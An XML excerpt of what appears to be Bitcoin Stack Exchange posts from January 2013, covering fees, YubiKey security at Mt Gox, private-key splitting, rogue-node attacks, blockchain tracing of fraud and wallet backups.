  <row Id="7155" PostTypeId="7" CreationDate="2013-01-17T00:00:45.640" Score="0" Body="&lt;p&gt;&lt;strong&gt;Bitcoin&lt;/strong&gt; is a question and answer site for Bitcoin professionals and enthusiasts. It's built and run &lt;em&gt;by you&lt;/em&gt; as part of the &lt;a href=&quot;https://stackexchange.com&quot;&gt;Stack Exchange&lt;/a&gt; network of Q&amp;amp;A sites. With your help, we're working together to build a library of detailed answers to every question about technologies supporting the Bitcoin project in the past, present, or future.&lt;/p&gt;&#xA;&lt;p&gt;Questions about other cryptocurrencies or general concepts may be on-topic for &lt;a href=&quot;https://meta.stackexchange.com/q/363121/232061&quot;&gt;other sites in our network&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="5406" LastEditDate="2021-04-19T21:16:15.610" LastActivityDate="2021-04-19T21:16:15.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7156" PostTypeId="7" CreationDate="2013-01-17T00:01:11.630" Score="0" Body="&lt;p&gt;&lt;ul&gt;&#xA;  &lt;li&gt;Specific issues with using Bitcoin&lt;/li&gt;&#xA;  &lt;li&gt;Algorithms and concepts specific to Bitcoin&lt;/li&gt;&#xA;  &lt;li&gt;Sourcecode of Bitcoin implementations and libraries&lt;/li&gt;&#xA;  &lt;li&gt;Problems with developing Bitcoin applications&lt;/li&gt;&#xA;  &lt;li&gt;General challenges faced by multiple currencies including Bitcoin&lt;/li&gt;&#xA;  &lt;li&gt;On-going developments which may get adopted by Bitcoin in the future&lt;/li&gt;&#xA;  &lt;li&gt;Research into Bitcoin&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="5406" LastEditDate="2019-07-06T19:44:01.483" LastActivityDate="2019-07-06T19:44:01.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7157" PostTypeId="7" CreationDate="2013-01-17T00:01:18.227" Score="0" Body="&lt;p&gt;&lt;ul&gt;&#xA;  &lt;li&gt;Anything not applicable to Bitcoin&lt;/li&gt;&#xA;  &lt;li&gt;Investment advice or market values&lt;/li&gt;&#xA;  &lt;li&gt;Site, tool, library, or software recommendations&lt;/li&gt;&#xA;  &lt;li&gt;Topics that are primarily opinion-based&lt;/li&gt;&#xA;  &lt;li&gt;Questions with too many possible answers or that would require an extremely long answer&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="5406" LastEditDate="2019-07-06T20:03:36.737" LastActivityDate="2019-07-06T20:03:36.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7158" PostTypeId="2" ParentId="7148" CreationDate="2013-01-17T10:15:58.903" Score="0" Body="&lt;p&gt;Anything that can be done with a traditional currency can be done with Bitcoin. Be it buying groceries, shares, stocks, bonds, or anything else.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-17T10:15:58.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7160" PostTypeId="2" ParentId="7147" CreationDate="2013-01-17T22:37:22.527" Score="1" Body="&lt;p&gt;You can always sign the address in the database, but you must be careful about it. When the user register you would to verify their info, sign their address on an offline computer (with an offline private key) and put both of them in different field in the database. Then when you take the address in the database you verify that the signature can be verified with your public key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way if someone temper with the database they shall not be able to forge an valid signature (because your private key is offline and protected) and when a signature is not valid it calls an alert. You must be careful that the verification is made by your public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin client supports signature with any addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in anyway you should really try to secure your database,  have a low privilege user for the program that uses the database, do not give any access to other than you and your trusted employees. And secure the physical access to the server.&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2013-01-17T22:37:22.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7161" PostTypeId="1" AcceptedAnswerId="7170" CreationDate="2013-01-17T23:13:32.480" Score="11" ViewCount="6978" Body="&lt;p&gt;I tried sending one satoshi (0.00000001 BTC) to one of my friend and the client always showed a dialog prompting me to pay 0.0005 BTC in fee, with the only options being OK (pay the fee) or cancel (cancel the transaction). The transaction was using one input and possiby two output (with how the clients jungle with the addresses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the option and the fee was at 0.00000000 BTC, but the client would not let me placed the transaction.&lt;/p&gt;&#xA;" OwnerUserId="845" LastEditorUserId="845" LastEditDate="2013-01-18T23:25:21.937" LastActivityDate="2017-03-25T08:45:05.593" Title="Is there a way to not pay the transaction fees when using the standard Bitcoin client?" Tags="|bitcoin-core|transaction-fees|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7166" PostTypeId="2" ParentId="4869" CreationDate="2013-01-18T04:17:09.827" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.libertybets.com&quot; rel=&quot;nofollow&quot;&gt;Liberty Bets&lt;/a&gt; is also provably fair.&lt;/p&gt;&#xA;" OwnerUserId="1934" LastEditorUserId="323" LastEditDate="2013-05-18T01:03:02.410" LastActivityDate="2013-05-18T01:03:02.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7168" PostTypeId="2" ParentId="3229" CreationDate="2013-01-18T16:00:36.277" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.frankdomains.com/pay-for-domains-with-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;em&gt;Frank Domains&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; offers domain registration via Bitcoin payments. They have a &lt;a href=&quot;http://www.frankdomains.com/btc/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin version&lt;/a&gt; of their entire site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well as anonymity, they also provide extra domain security in the form of &lt;a href=&quot;http://www.frankdomains.com/keep-your-domain-safe/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Domainsafe&lt;/em&gt;&lt;/a&gt;, a Bank-style login security by means of physical key fob. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frank Domains also provide one of the fastest domain search engines that i have come across, which can provide all the results in Bitcoin amounts.&lt;/p&gt;&#xA;" OwnerUserId="2650" LastEditorUserId="2650" LastEditDate="2013-02-22T09:42:44.767" LastActivityDate="2013-02-22T09:42:44.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7169" PostTypeId="1" AcceptedAnswerId="7171" CreationDate="2013-01-18T16:09:24.117" Score="7" ViewCount="4915" Body="&lt;p&gt;I have several Yubikeys and would like to use one or more with MtGox.... however it seems that I can only use keys purchased from Mt Gox on their site.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Why did Mt Gox choose to implement security this way? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Suppose I'm creating my own secure website based on Yubikey.. what are the conditions that I would choose to implement a &quot;closed&quot; system like this (and not allow other Yubikeys)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I asked Mt Gox support this very question and all they told me was:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hello, Thank you for the email. Please note that the yubikeys&#xA;  has to be pre-configured with our systems, so unfortunately it is not&#xA;  possible to add yubikeys that are purchased outside. Thanks, MtGox.com&#xA;  Team&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;... so I'm hoping to get a better understanding on &lt;em&gt;why&lt;/em&gt; this choice was made.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-06-21T06:19:23.317" Title="Why does Mt Gox disallow YubiKeys purchased direct from Yubikey.com?" Tags="|mtgox|two-factor|multi-factor|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7170" PostTypeId="2" ParentId="7161" CreationDate="2013-01-18T16:31:10.293" Score="3" Body="&lt;p&gt;The standard client, as distributed by the Bitcoin developer team, does not permit transactions without a fee for amounts less than 0.01BTC. It adheres to the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3400/what-is-the-exact-formula-for-calculating-transaction-fees&quot;&gt;fee calculation suggestion&lt;/a&gt; in the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, not all clients enforce this rule. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4066/can-different-clients-have-different-transaction-fees&quot;&gt;Can different clients have different transaction fees?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-04-19T03:44:24.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7171" PostTypeId="2" ParentId="7169" CreationDate="2013-01-18T16:45:12.170" Score="16" Body="&lt;p&gt;Properties of a yubikey:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A yubikey contains a secret symmetric key.&lt;/li&gt;&#xA;&lt;li&gt;Knowledge of this key allows emulating that yubikey.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The server needs to know that key.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;The YubiKey AES Key information can never be extracted from a YubiKey device – only programmed to it&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So Mt.Gox's insistence on sending the key to you ensures several important properties:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You're not tempted to use the same key to authenticate to other websites, which would allow those websites to break into your Mt.Gox account&lt;/li&gt;&#xA;&lt;li&gt;You don't need to send the key to the Mt.Gox server through your potentially insecure computer&lt;/li&gt;&#xA;&lt;li&gt;Nobody but Mt.Gox knows the key stored in your yubikey&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So pre-programming yubikeys and sending them to you only after the key was programmed into the device rules out several possible threats, and thus seems reasonable risk management.&lt;/p&gt;&#xA;" OwnerUserId="940" LastEditorUserId="940" LastEditDate="2013-01-18T17:22:38.467" LastActivityDate="2013-01-18T17:22:38.467" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7172" PostTypeId="2" ParentId="6094" CreationDate="2013-01-18T17:34:16.153" Score="3" Body="&lt;p&gt;There are two problems with your approach. The second one's more difficult to solve than the other.&lt;/p&gt;&#xA;&lt;h2&gt;Problem 1&lt;/h2&gt;&#xA;&lt;p&gt;While it would take me a 100 million years to brute force the key &lt;code&gt;1 2 3 4 5 6 7 8 9&lt;/code&gt;, if I know two thirds of the key, it doesn't take just 1/3 the time, but a cube root of the time, meaning that I might actually be able to guess it.&lt;/p&gt;&#xA;&lt;h3&gt;Giving everyone a part of the key without making bruteforce faster&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Instead, you generate 3 totally random strings of bytes as long as the key. We'll call these R1, R2, and R3.&lt;/li&gt;&#xA;&lt;li&gt;We'll call the private key K, and the clients, C1, C2, and C3.&lt;/li&gt;&#xA;&lt;li&gt;To C1, you give R1, and R2 ^ K. (^ is shorthand for &lt;a href=&quot;http://en.wikipedia.org/wiki/Exclusive_or&quot; rel=&quot;nofollow noreferrer&quot;&gt;XOR&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;To C2: R2, R3 ^ K&lt;/li&gt;&#xA;&lt;li&gt;To C3: R3, R1 ^ K&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;em&gt;Example&lt;/em&gt;: If C1 and C2 put their heads together, they could combine R2 and R2 ^ K. This is important, because R2 ^ R2 ^ K = K&lt;br /&gt;&#xA;&lt;em&gt;Space requirement&lt;/em&gt;: Given that n = number of people, and m = maximum number of people  abstain, you need n!/m!/(n-m)! ciphertexts. Okay for 3 people, starts to get unwieldy for 10.&lt;/p&gt;&#xA;&lt;h2&gt;Problem 2&lt;/h2&gt;&#xA;&lt;p&gt;When generating the key in the first place, somebody needs to know the full private key before they split it up. In other words, you need a trusted third party. To get around this, you need to do something called &lt;a href=&quot;https://en.wikipedia.org/wiki/Distributed_key_generation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Distributed Key Generation&lt;/a&gt;. I'm not sure if this can be done for ECDSA. &lt;a href=&quot;https://ieeexplore.ieee.org/document/5626958&quot; rel=&quot;nofollow noreferrer&quot;&gt;This paper&lt;/a&gt; looks encouraging based on the abstract, but I can't see the whole article.&lt;/p&gt;&#xA;&lt;h3&gt;Multi-signature transactions&lt;/h3&gt;&#xA;&lt;p&gt;This is a much more scalable and secure system. Unfortunately, it's not really ready for real-world use yet.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="42185" LastEditDate="2022-04-18T17:04:37.360" LastActivityDate="2022-04-18T17:04:37.360" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="7173" PostTypeId="1" CreationDate="2013-01-18T22:42:54.640" Score="5" ViewCount="333" Body="&lt;p&gt;If a node (V) accepts incoming connections, is he vulnerable to becoming completely surrounded by corrupted nodes? Would an attacker be able to control which transactions are relayed to V and which transactions V is able to broadcast to the network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume for this to happen V would have to, over time, lose connections to honest nodes to have them replaced by the attackers'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, in what circumstances would the Bitcoin client lose connection with an honest node, other than it going offline?&lt;/p&gt;&#xA;" OwnerUserId="2654" LastEditorUserId="5822" LastEditDate="2013-11-18T18:53:07.827" LastActivityDate="2013-11-18T18:53:07.827" Title="What can happen if/when a node is surrounded by rogue nodes?" Tags="|doublespend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7174" PostTypeId="2" ParentId="7173" CreationDate="2013-01-19T03:53:50.667" Score="2" Body="&lt;p&gt;I don't know how frequently this occurs but the Bitcoin.org client (using default settings) will, after some amount of time (in the several minutes range, if I remember correctly), intentionally drop the existing connection and connect to a new peer chosen from the list of peers it knows about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the duration available to the attacker to feed the node corrupt (invalid) data is not very long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the node will be used to honor payments on 0/unconfirmed, then a &lt;a href=&quot;http://en.bitcoin.it/wiki/Double-spending#Race_attack&quot; rel=&quot;nofollow&quot;&gt;race attack&lt;/a&gt; is a possibility so the recommendation is to not allow any incoming transactions and to have only outgoing connections and even then only to well-connected nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is further discussion of the risks here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=4335.msg63432#msg63432&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=4335.msg63432#msg63432&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codinginmysleep.com/bitcoin-attacks-in-plain-english&quot; rel=&quot;nofollow&quot;&gt;http://codinginmysleep.com/bitcoin-attacks-in-plain-english&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-01-19T03:53:50.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7176" PostTypeId="2" ParentId="5870" CreationDate="2013-01-19T11:38:34.607" Score="4" Body="&lt;p&gt;As every Client verifies each block they receive and reject every Block that is invalid, this situation is rather unlikely to happen. However, if by chance some invalid Block would propagate (such as in case of &lt;a href=&quot;https://bitcointalk.org/index.php?topic=822.0&quot; rel=&quot;nofollow&quot;&gt;value overflow bug&lt;/a&gt;, or perhaps by being spread by some alternative Clients that don't follow the Protocol to the letter), it would eventually be wiped out of the Block history and orphan all Blocks attached to it. Alternatively, the Protocol could change to accommodate the Block, but that is a lot less likely to happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When part of the Block Chain would become invalid, all Transactions contained in it would be re-evaluated - coin generation Transactions would be discarded, all Transactions that spend their outputs would also be invalidated, and all other Transactions that are still valid would be added back to the pool of Transactions to be added to future Blocks. Same thing would happen in case of some Blocks being overwritten with a longer Chain of Blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, an invalid Block being accepted as valid and having valid Blocks appended to the Chain after it is a bug. Such cases have happened in the past at least once, and the result has been to fix the bug and erase the invalid Block along with all other Blocks attached to it. All normal Transactions from those Blocks would have to be added again to newly created Blocks and any coin generation Transactions would be invalidated.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-19T11:38:34.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7177" PostTypeId="1" CreationDate="2013-01-19T15:19:54.030" Score="4" ViewCount="7463" Body="&lt;p&gt;I want to buy a small amount of bitcoins using google checkout. Any service provider ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1716" LastActivityDate="2018-03-21T14:24:19.070" Title="Buy bitcoins using google checkout" Tags="|buy-bitcoins|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7178" PostTypeId="1" CreationDate="2013-01-19T17:48:50.320" Score="1" ViewCount="3792" Body="&lt;p&gt;Consider the following scenario:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;An individual, the &quot;buyer&quot; buys something online from someone else, the &quot;seller&quot;. The buyer cannot verify the identity of the seller.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The seller wants money upfront before shipping and communicates bank account details to the buyer. The buyer trusts the seller because he assumes the seller can be identified using via the banking details if the seller should attempt to defraud the buyer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;However, the bank account is not a personal account in the seller's names. It's a service that will convert all incomming funds into bitcoin and sent them to a bitcoin address under the control of the seller.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The seller runs away with the money (bitcoin) and never ships the goods. The buyer attempts to track the seller using the banking transaction and finds out about the service used. The service operator discloses the bitcoin address (e.g. when law enforcement gets involved), but cannot provide any further information about the seller.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is is possible to track down the seller using publicly available information from the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="2657" LastEditorUserId="350" LastEditDate="2013-01-20T04:35:41.407" LastActivityDate="2015-06-01T20:45:44.123" Title="Is it possible to trace fraud committed via a service the bridges banking and bitcoin?" Tags="|transactions|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7179" PostTypeId="1" CreationDate="2013-01-19T19:25:48.550" Score="2" ViewCount="308" Body="&lt;p&gt;Assume, we create an alternative cryptocurrency (&quot;InflationCoin&quot;) based on the bitcoin software with one change to the protocol:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Block reward is constant, e.g. 50 InflationCoin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Technically this would work just like Bitcoin while avoiding one of Bitcoin's most discussed characteristic, namely built-in deflation. The supply of InflationCoin would grow constantly, possibly leading to a controlled and predictable inflation if the InflationCoin economy does not grow as fast the supply of InflationCoins. Transactions are always cheap and therefore encouraged. Hoarding is dangerous due to the risk of inflation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since, both unsing Bitcoin and InflationCoin is voluntary, they could coexist and possibly attract different users or usage scenarios. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2021-03-01T21:45:20.377" Title="Are there studies about a Bitcoin-like economy with inflation?" Tags="|alternatives|economic-theory|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7180" PostTypeId="2" ParentId="7177" CreationDate="2013-01-19T21:36:12.963" Score="2" Body="&lt;p&gt;Not really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=48498.0&quot; rel=&quot;nofollow&quot;&gt;Buying Bitcoin Through Google Checkout&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unsurprisingly, [neither] Apple nor Google will ever allow for digital currencies to be exchanged through their systems as a part of their TOS.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://btcnow.net&quot; rel=&quot;nofollow&quot;&gt;btcnow.net&lt;/a&gt; used to, but apparently Google put the kibosh on that some time ago. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;fireduck &lt;a href=&quot;http://productforums.google.com/forum/#!topic/checkout-merchant/RiIUWOo8sb8&quot; rel=&quot;nofollow&quot;&gt;asked in the Google Checkout/Wallet forums&lt;/a&gt;, but never really received an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HOWEVER&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinkeys.wildapricot.org/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Keys&lt;/a&gt; does digital delivery of private keys tied to accounts which have been loaded with the desired amount of BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my ~30 minutes of research on this, it's the only site I could find that does it in any way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I have not personally used any of these sites, so I cannot vouch for them.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-01-19T21:36:12.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7181" PostTypeId="2" ParentId="7178" CreationDate="2013-01-19T22:21:39.537" Score="1" Body="&lt;p&gt;It may be feasible to trace amounts sent to the scammer's address, but it would require a lot of work, mostly communication to strangers, to pin an identity to an address. This difficulty would be further exacerbated by the employment of green addresses, mixing services, or simple holding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/52/how-anonymous-are-bitcoin-transactions/&quot;&gt;Bitcoin is pseudonymous&lt;/a&gt;, meaning that tracing is only as easy as the person being traced allows it to be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2496/are-bitcoins-inherently-fungible&quot;&gt;Bitcoin is not fungible&lt;/a&gt;, meaning primary that a &quot;coin&quot; is not uniquely identifiable. Rather, it's a distributed leger system, with value being subtracted from one account and added to another in each transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only traceable entities are thus the accounts receiving and sending, and the only relation to the physical world in each transaction is an IP address. Given the employment of an anonymizing service such as TOR or a lower-anonymity proxy, tracing that IP address to a physical location with a person is highly improbable (if you figure out how, I'll bet you could make a lot of money from governments!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're still up for it, &lt;a href=&quot;http://blockviewer.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlockViewer&lt;/a&gt; may assist in the tracing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, it's pretty safe to say that any BTC sent would require nearly Herculean effort to reacquire. It would most certainly necessitate the involvement of law enforcement, which has not likely yet been trained how to deal with digital currency investigations. This highlights the importance of a third-party escrow service or a personal relationship between the buyer and the seller.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-01-19T22:21:39.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7182" PostTypeId="1" AcceptedAnswerId="7186" CreationDate="2013-01-20T15:27:36.107" Score="5" ViewCount="222" Body="&lt;p&gt;Suppose I have a recent backup of my &lt;code&gt;wallet.dat&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I make (say) two transactions: one receipt and one send.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I run my next backup, the hard drive crashes and I lose &lt;code&gt;wallet.dat&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can restore &lt;code&gt;wallet.dat&lt;/code&gt;, of course, but only prior to the new two transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will happen to those two transactions?&lt;/p&gt;&#xA;" OwnerUserId="2659" LastActivityDate="2013-01-20T18:11:10.940" Title="What if the system crashes if I have made transactions after my backup?" Tags="|backup|wallet.dat|loss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7183" PostTypeId="1" AcceptedAnswerId="7222" CreationDate="2013-01-20T16:51:22.903" Score="22" ViewCount="5129" Body="&lt;p&gt;The popular bitcoin betting game Satoshi Dice sends back payments very fast, they don't wait for confirmations. The user sends money to Satoshi Dice and gets back winnings a couple of seconds later. Here's a quote from their site: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The SatoshiDice Bitcoin game operates with zero confirmations [...] This is safe because it always builds the answering transaction with the output of your bet transaction. This means a blockchain that does not contain your bet cannot contain the site's answer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think I understand the theory behind this: Satoshi Dice always sends back coins from your own bet. So if your bet doesn't get confirmed then your winnings also won't get confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't understand is how I could technically create these kind of transactions. Using bitcoind, how could one build these transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your suggestions.&lt;/p&gt;&#xA;" OwnerUserId="2597" LastActivityDate="2014-01-04T15:37:25.360" Title="How does Satoshi Dice's 'zero confirmations' transaction system work technically?" Tags="|bitcoind|zero-confirmation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7184" PostTypeId="2" ParentId="7183" CreationDate="2013-01-20T17:25:02.383" Score="2" Body="&lt;p&gt;A transaction simply link an older output transaction and reasign it. You can send bitcoin you just reveice because you can link to the other transaction immediately. Then the transactions can be mined in the same block. The standard bitoin client doesn't let you spend unconfirmed bitcoin because it could let some create an attack.&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2013-01-20T17:25:02.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7185" PostTypeId="2" ParentId="7179" CreationDate="2013-01-20T17:59:55.393" Score="4" Body="&lt;p&gt;The alternative blockchain &lt;a href=&quot;http://www.freicoin.org/&quot; rel=&quot;nofollow&quot;&gt;Freicoin&lt;/a&gt; is a solution to the &quot;deflation-causes-hoarding-problem&quot; (assuming that you think this is a genuine problem) using demurrage rather than inflation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your proposal of making the rate of money growth linear and higher than the expected rate of InflationCoin economy growth, that would accomplish the same goal: punish those who put their savings in coin rather than something productive like stocks and bonds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to Gresham's Law, Freicoin and InflationCoin should flourish as a medium of exchange and Bitcoin velocity should collapse as people tuck those relatively scarce coins away in wallets like they're bars of gold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this isn't in fact happening. Maybe that's because of network effects (who accepts payment in coin of alternative block chains?) Or maybe the deflation theory is wrong. &lt;/p&gt;&#xA;" OwnerUserId="2032" LastActivityDate="2013-01-20T17:59:55.393" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7186" PostTypeId="2" ParentId="7182" CreationDate="2013-01-20T18:11:10.940" Score="4" Body="&lt;p&gt;Assuming you had a chance to send those transaction out, they will still be processed. So long as the transactions didn't create any new change addresses, your wallet will still have all the information needed to spend any Bitcoins you have left.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-01-20T18:11:10.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7189" PostTypeId="1" AcceptedAnswerId="7190" CreationDate="2013-01-21T04:52:45.357" Score="1" ViewCount="83" Body="&lt;p&gt;Where in the &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt; is the part related to the GUI and platform depended installation?&lt;/p&gt;&#xA;" OwnerUserId="2664" LastActivityDate="2018-02-06T03:06:27.367" Title="Where is the part in code related to the installation on Linux/Mac and windows?" Tags="|mac|windows|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7190" PostTypeId="2" ParentId="7189" CreationDate="2013-01-21T06:19:52.613" Score="1" Body="&lt;p&gt;The GUI is based on QT, the code for the GUI is in the folder &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/master/src/qt&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;src/qt&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-21T06:19:52.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
